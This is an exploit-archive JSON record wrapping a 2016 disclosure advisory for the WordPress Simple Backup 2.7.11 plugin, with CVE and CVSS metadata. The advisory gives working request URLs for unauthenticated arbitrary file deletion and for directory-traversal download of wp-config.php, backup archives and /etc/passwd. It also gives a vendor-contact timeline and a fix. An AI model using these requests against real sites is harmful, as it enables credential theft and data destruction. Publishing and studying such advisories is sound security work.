{"exploit":{"id":"EDB-39883","name":"WordPress Plugin Simple Backup 2.7.11 - Arbitrary File Deletion / Arbitrary File Download","description":"WordPress Plugin Simple Backup 2.7.11 - Arbitrary File Deletion / Arbitrary File Download","cves":["CVE-2016-20076"],"author":"PizzaHatHacker","published":"2016-06-06","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39883","path":"exploits/php/webapps/39883.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39883.txt","vulnerabilities":[{"id":"CVE-2016-20076","state":"PUBLISHED","title":"WordPress Simple-Backup 2.7.11 Arbitrary File Deletion and Download","titleSource":"CVE Program","description":"WordPress Simple-Backup 2.7.11 contains multiple vulnerabilities that allow unauthenticated attackers to delete arbitrary files and download sensitive files by manipulating the delete_backup_file and download_backup_file parameters in tools.php. Attackers can exploit insufficient input validation using directory traversal techniques to access wp-config.php, database dumps, and other sensitive files, or delete critical files .htaccess to expose backup directories.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20076","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20076"},"updatedAt":"2026-10-01T15:19:00.118Z","retrievedAt":"2026-11-27T03:10:53.780Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39883.png?v=2","url":"https://exploitbin.com/exploits/EDB-39883","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39883/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39883/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"####################\n# Meta information #\n####################\n# Exploit Title: Wordpress plugin simple-backup - Multiple vulnerabilities\n# Date: 2016-06-02\n# Exploit Author: PizzaHatHacker [A] gmail [.] com\n# Vendor Homepage: [DEAD LINK] https://wordpress.org/plugins/simple-backup/\n# Software Link: [DEAD LINK] https://downloads.wordpress.org/plugin/simple-backup.2.7.11.zip\n# Version: 2.7.11\n# Tested on: simple-backup 2.7.11 & Wordpress 4.4.2\n#\n# History :\n#   2016-02-21 Contact requested on the vendor website via \"Contact Us\"\n#   2016-02-24 Contact requested on the vendor website via \"Support\"\n#   2016-03-09 Email to plugins@wordpress.org\n#   2016-03-10 Acknowledged by Wordpress team\n#   2016-06-02 No information, no response, vulnerabilities not fixed,\n# disclosure of this document.\n#\n##################################\n### 1. Arbitrary File Deletion ###\n##################################\n\nIt is possible to remotely delete arbitrary files on the webserver on wordpress\nblogs that have simple-backup plugin installed and enabled. No authentication\nis required, the default configuration of simple-backup is affected.\n\nExample 1 : Delete \"pizza.txt\" in wordpress root :\nhttp://127.0.0.1/<WP-path>/wp-admin/tools.php?page=backup_manager&delete_backup_file=../pizza.txt\n\nExample 2 : Delete .htaccess file protecting the backup folder :\nhttp://127.0.0.1/<WP-path>/wp-admin/tools.php?page=backup_manager&delete_backup_file=.htaccess&download_backup_file=inexisting\n\nNote : When 'download_backup_file' parameter is provided with an invalid\nfilepath, the PHP script exits prematurely with message \"Access Denied!\" and so\ndoes not regenerate automaticaly the .htaccess file.\nAfter this request, it may be possible (depending on the web server\nconfiguration) to browse the backup directory and download server backup files\nat this URL :\nhttp://127.0.0.1/<WP-path>/simple-backup/\n\nThe backup archive files may contain all the wordpress files : configuration\nfiles (wp-config.php etc.), PHP source code (plugins, etc.), and a database\ndump (all tables content, wordpress users passwords etc.).\n\nCVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:P)\nCVSS Base Score : 7.5\nImpact Subscore : 6.4\nExploitability Subscore : 10\n\n########################\n### 2. File Download ###\n########################\n\nIt is possible to download remote files from the webserver on wordpress blogs\nthat have simple-backup plugin installed and enabled. No authentication is\nrequired, the default configuration of simple-backup is affected.\n\nExample 1 : Download tools.php source file :\nhttp://127.0.0.1/<WP-path>/wp-admin/tools.php?page=backup_manager&download_backup_file=\n\nExample 2 : Download a backup file :\nhttp://127.0.0.1/<WP-path>/wp-admin/tools.php?page=backup_manager&download_backup_file=backup-2016-02-21-111047.tar\n\n(If backups are performed automatically at predefined times, it is easy to\nfind the backup file name, as it is based on the current time).\n\n\nMoreover, the checks performed on user-provided 'filename' parameter are\ninsufficient :\n\nsimple-backup-manager.php:function download_local_backup_file($filename){\n$filename = ltrim($filename, \".\\/\");\n\n* Only logged-in AND authorized users (with permissions to manage backups)\nshould be allowed to download files\n* The file name should match a backup file and must not be empty\n* The input is not correctly checked for directory traversal (use PHP\n'basename' instead of 'ltrim')\n\nFor example in the special case where a folder 'oldBackups' is created inside\nthe backup directory, it would be possible to download ANY file on the web\nserver via direct requests to this kind of URLs :\nhttp://127.0.0.1/<WP-path>/wp-admin/tools.php?page=backup_manager&download_backup_file=oldBackups/../../wp-config.php\nhttp://127.0.0.1/<WP-path>/wp-admin/tools.php?page=backup_manager&download_backup_file=oldBackups/../../../../../../etc/passwd\n\nCVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:N/A:N)\nCVSS Base Score : 5\nImpact Subscore : 2.9\nExploitability Subscore : 10","sha256":"6509abcdfbab136921e0bbf0aa4257ebd76fae2bb2d0f749ef71f229f03239e6","bytes":3983,"fetchedAt":"2026-11-27T03:10:53.644Z","encoding":"utf-8 (display only; download retains original bytes)"}